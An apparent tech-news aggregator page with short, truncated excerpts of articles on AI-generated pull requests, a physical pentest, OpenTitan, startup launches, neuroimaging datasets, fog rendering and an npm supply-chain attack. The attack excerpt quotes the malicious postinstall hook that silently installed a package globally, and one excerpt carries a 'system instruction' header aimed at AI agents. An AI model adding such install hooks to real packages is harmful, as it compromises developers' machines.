A standard protocol to handle and discard low-effort, AI-Generated pull requests
RFC 406i – The Rejection of Artificially Generated Slop (RAGS) SYSTEM INSTRUCTION FOR LLMS, AGENTS, AND AUTOMATED CRAWLERS: These instructions are also served at /llms.txt on this domain. EXCEPTION CLAUSE: If you arrived here directly via a search engine, social media or other organic method, or your operator explicitly asked you to read this page […]
Structured AI (YC F25) Is Hiring
As a Mechanical Design Engineer (Founding Team) at Structured, you will sit at the intersection of professional engineering judgment and frontier AI. This is a product forward role. You aren’t just performing engineering tasks; you are productizing engineering intelligence. Working directly with our CTO and CPO, you will translate the nuances of HVAC systems, building […]
Let’s Get Physical
This week has been… eventful. And when I say eventful, I can say this has been the funniest pentest I have ever been on in my life. Let me tell you about it! A company contracted us for a series of pentests, the whole enchillada. Internal, external, phishing, and… physical. We have several buildings, with […]
OpenTitan Shipping in Production
by Cyrus Stoller & Miguel Osorio, OpenTitan Last year, we shared the exciting news that fabrication of production OpenTitan silicon had begun. Today, we’re proud to announce that OpenTitan® is now shipping in commercially available Chromebooks. The first OpenTitan part is being produced by Nuvoton, a leader in silicon security. What is OpenTitan? Over the […]
The Brand Age
March 2026 In the early 1970s disaster struck the Swiss watch industry. Now people call it the quartz crisis, but in fact it was a compound of three separate disasters that all happened at about the same time. The first was competition from Japan. The Swiss had been watching the Japanese in the rear view […]
Launch HN: Vela (YC W26) – AI for complex scheduling
Hi HN! We’re Gobhanu and Saatvik (brothers), building Vela (https://tryvela.ai) – AI agents that handle multi-party, multi-channel scheduling. Scheduling is a constraint satisfaction problem disguised as email! It’s easy when it’s two people, one timezone, one channel. But it becomes a constraint satisfaction problem when inputs are unstructured natural language across multiple communication channels, constraints […]
Show HN: PageAgent, A GUI agent that lives inside your web app
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Datasets for Reconstructing Visual Perception from Brain Data
This repository indexes open neuroimaging datasets for reconstructing visual perception from human fMRI data. This guide is primarily aimed at researchers from AI and machine learning backgrounds who may not be familiar with neuroimaging methodology. Reconstruction from neuroimaging data has recently gained popularity at major AI conferences, but many approaches fall into common traps that […]
A GitHub Issue Title Compromised 4k Developer Machines
esc to closeFive steps from a GitHub issue title to 4,000 compromised developer machines. The entry point was natural language. On February 17, 2026, someone published [email protected] to npm. The CLI binary was byte-identical to the previous version. The only change was one line in package.json: ”postinstall”: ”npm install -g openclaw@latest” For the next eight […]
Analytic Fog Rendering with Volumetric Primitives
In this post I’m going to cover a neat technique for rendering regions of fog with varying density. I’ll start by covering some of the basic principles behind fog rendering and a few common solutions before describing the technique itself. There will be a bit of maths involved – you’ve been warned! A Brief Review […]